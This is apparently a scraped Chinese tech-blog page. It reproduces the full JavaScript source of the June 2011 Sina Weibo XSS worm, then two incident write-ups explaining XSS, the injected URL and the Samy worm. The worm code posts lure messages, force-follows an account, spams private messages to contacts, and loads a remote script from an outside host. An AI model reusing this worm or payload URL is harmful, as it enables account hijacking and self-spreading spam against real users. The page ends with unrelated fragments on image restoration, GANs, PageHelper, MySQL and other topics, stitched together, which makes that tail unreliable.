技术标签: xss
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
新浪微博XSS事件
在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。
首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你 的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如 果你运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服 务器上的程序通话。这就是XSS攻击的最基本思路。
再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态 的协议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页切换中检查你的登录状态。而现在的浏览器的运行方式是多页 面或多窗口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿和共享使用你登录状态的。
当然,你不必过于担心访问别的网站,在别的网站里的js代码会自动访问你的微博或是网银。因为浏览器的安全性让js只能访问自己所在网站的资源(你可以引入其它网站的js)。当然,这是浏览器对js做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你没有在用IE6,应该没有这些问题。
XSS攻击有两种方法:
一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn短链接服务,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL链接中的其实就是。
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制(大家不知道coolshell.cn 的备案备了不知有多少次),所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。
其它
初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
史上最著名的XSS攻击是Yahoo Mail 的Yamanner 蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
关于攻击的代码在这里:06.28_sina_XSS.txt [CSDN下载](编码风格还是很不错的)
(全文完)
摘自:http://coolshell.cn/articles/4914.html
一、事件的经过
新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
影响有多大:32961(这位hellosamy在帐号被封前的好友数量)。
二、采用了什么样的攻击方法
1、利用了新浪微博存在的XSS漏洞,先使自己的微博“中毒”,在浏览器中加载如下地址即可:
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
即
http://weibo.com/pub/star/g/xyyyd">?type=update
2、使用有道提供的短域名服务(这些网址目前已经“无害”);
例如,通过 http://163.fm/PxZHoxn ,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:
a.发微博(让更多的人看到这些消息,自然也就有更多人受害);
b.加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
c.发私信,给好友发私信传播这些链接;
三、攻击者是谁?
攻击者不一定是2kt.cn的拥有者。目前暂时只能获得2kt.cn域名、网站拥有者信息如下。
不排除这个网站被攻击后,服务器被人放置恶意代码。
通过whois查询,2kt.cn的域名拥有者信息如下:
localhost% whois 2kt.cn
Domain Name: 2kt.cn
ROID: 20081025s10001s69222533-cn
Domain Status: ok
Registrant Organization: 北京新网数码信息技术有限公司
Registrant Name: 张志
Administrative Email: [email protected]
Sponsoring Registrar: 北京新网数码信息技术有限公司
Name Server:ns.xinnetdns.com
Name Server:ns.xinnet.cn
Registration Date: 2008-10-25 04:22
Expiration Date: 2011-10-25 04:22
通过工信部的备案查询:http://www.miibeian.gov.cn/publish/query/indexFirst.action
网站负责人姓名:刘孝德
网站备案/许可证号:苏ICP备10108026号-1
四、为什么叫hellosamy?
2005年,首个利用跨站点脚本缺 陷的蠕虫samy被“创造”出来了。Samy利用网站设计方面的缺陷,创建了一份“恶意”的用户档案,当该用户档案被浏览时,就会自动地激活代码,将用户 添加到Samy的“好友”列表中。另外,恶意代码还会被拷贝到用户的档案中,当其他人查看用户的档案时,蠕虫会继续传播。Samy蠕虫能够造成与拒绝服务 相当的效应,会造成好友列表中好友数量呈指数级增长,最终会消耗系统的大量资源。
因此,这次新浪微博的蠕虫,象是在对samy蠕虫致敬
五、参考信息
samy蠕虫的传播经历与技术细节:http://namb.la/popular,http://namb.la/popular/tech.html
六、本次蠕虫事件中的代码下载 http://t.cn/aNhKgc?u=1319542477
网友提供的部分截图:
https://www.cnblogs.com/52php/p/5659861.html
现有图像修复方法是不可调节的,因此训练得到的模型不一定适用于图像真是的degradation level,因此作者提出一种方法,可以调节修复的强度。本文目标是在一个统一的CNN框架中实现任意级别的图像恢复的模型,以达到下面的效果,输入一个类似强度的超参数,可以对图像不同强度的修复。当前的深度学习模型是在一个固定的退化程度的数据集上训练的,不能进行调节。跨度越大,效果越不太好,因此可以考虑多训练几个模型,插值得到新的模型。超分问题如何调节的?一个分离通道的卷积, 卷积核的大小,影响效果。
提出卷积的局限,将注意力机制与卷积结合,简单加attention到卷积的backbone会导致训练崩溃,这里有一些trick,用L2-distance代替原来attention logits的点积。十亿参数GigaGAN 的实现,是Adobe 的新 SOTA GAN,其证明GAN仍然是文本生成图像的可行选择之一。(这可以将图像金字塔上的低分辨率图像特征注入中间层的高分辨率图像)冻结CLIP图像编码器,从中间层提取特征,并通过一个3 × 3 conv层的简单网络对其进行处理,以做出真实/虚假的预测。
关于pageHeler这个插件很早就用过,但总有些问题,比如说:pageInfo.getTotal()获取的总是分页当前的数据条数,今天抽空研究了下发现使用这个插件中间只能有一次进行查询的操作!!如果进行了两次查询操作就会让pageInfo.getTotal()获得的是当前查询的当前页的数据总条数,所以谨记!! e.g.PageHelper.startPage(p...
请全球各国的工作流-workflow,BPM,OA,ERP厂商,如果自己的工作流软件产品有10年以上的历史,请把你们自己的工作流 的初创商标和这个工作流的创始人找到。。。。 请注意,必须是有10年以上的工作流产品和品牌的历史,才产生宏观巨系统。。提示:如果生意不好,不要因为一时的商业低潮,而把自己的品牌改名字,更不要把自己的商标改成其它样子就好像开...
错误一:Failed to fetch这个错误一般是由端口设置错误造成的,至于我为什么知道,你看看log文件就懂了。打开picgo的log文件。错误提示是端口繁忙。解决方法:打开picgo设置,点击设置Server选项,将端口改为36677端口,这是picgo推荐的默认端口号,然后保存,成功。不过有的时候,我们的老朋友Failed to fetch还是如约而至,打开端口设置一看,怎么变成了366771????问题在于端口冲突,如果你打开了多个picgo程序,就会端口冲突,picgo自动帮你把3
<br /><br /><br />一、数据库<br />/*==============================================================*/<br />/* DBMS name: Microsoft SQL Server 2000 */<br />/*==============================================================*/<br /> <br /> <br
sudo apt-get install alsa-utilssudo apt-get install mpg321sudo modprobe snd_bcm2835sudo amixer cset numid=3 1import osos.system('mpg321 music.mp3 &')
简介在微服务架构下存在多个服务之间的相互调用,当某个请求变慢或不可用时,我们如何快速定位服务故障点呢?链路追踪的实现就是为了解决这一问题,本文采用 Sleuth + Zipkin + RabbitMQ + ES + Kibana 实现。Spring Cloud SleuthTrace:从客户端请求到系统边界,再到系统边界返回客户端响应。Span:每一次调用埋入一个调用记录,即为 “Sp...
MySQL 8复制性能的增强2018.3.3版权声明:本文为博主chszs的原创文章,未经博主允许不得转载。MySQL从5.7版发布后没多久,其8.0版本的开发就提上了日程。MySQL在编号方面跳跃了几个版本,6.0被直接丢弃,7.0被保留用于MySQL的集群版本,因为Oracle官方认为,MySQL 5.6版就相当于6.0版,5.7版就相当于7.0版,因此作为5.7版的下一个版本,...
在iOS中随处都可以看到绚丽的动画效果,实现这些动画的过程并不复杂,今天将带大家一窥iOS动画全貌。在这里你可以看到iOS中如何使用图层精简非交互式绘图,如何通过核心动画创建基础动画、关键帧动画、动画组、转场动画,如何通过UIView的装饰方法对这些动画操作进行简化等。在今天的文章里您可以看到动画操作在iOS中是如何简单和高效,很多原来想做但是苦于没有思路的动画在iOS中将变得越发简单:C
*定义类和属性方法**/** * 定义类,默认是public修饰 */class Person { //姓名 var name:String ="zhangsan" var age=12 //方法 def study()={ print("正在学习") }}属性定义详解解释(重点)a 定义属性使用var修饰时候,scala就会给你创建一个g...
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import sun.misc.BASE64Decoder;import sun.m...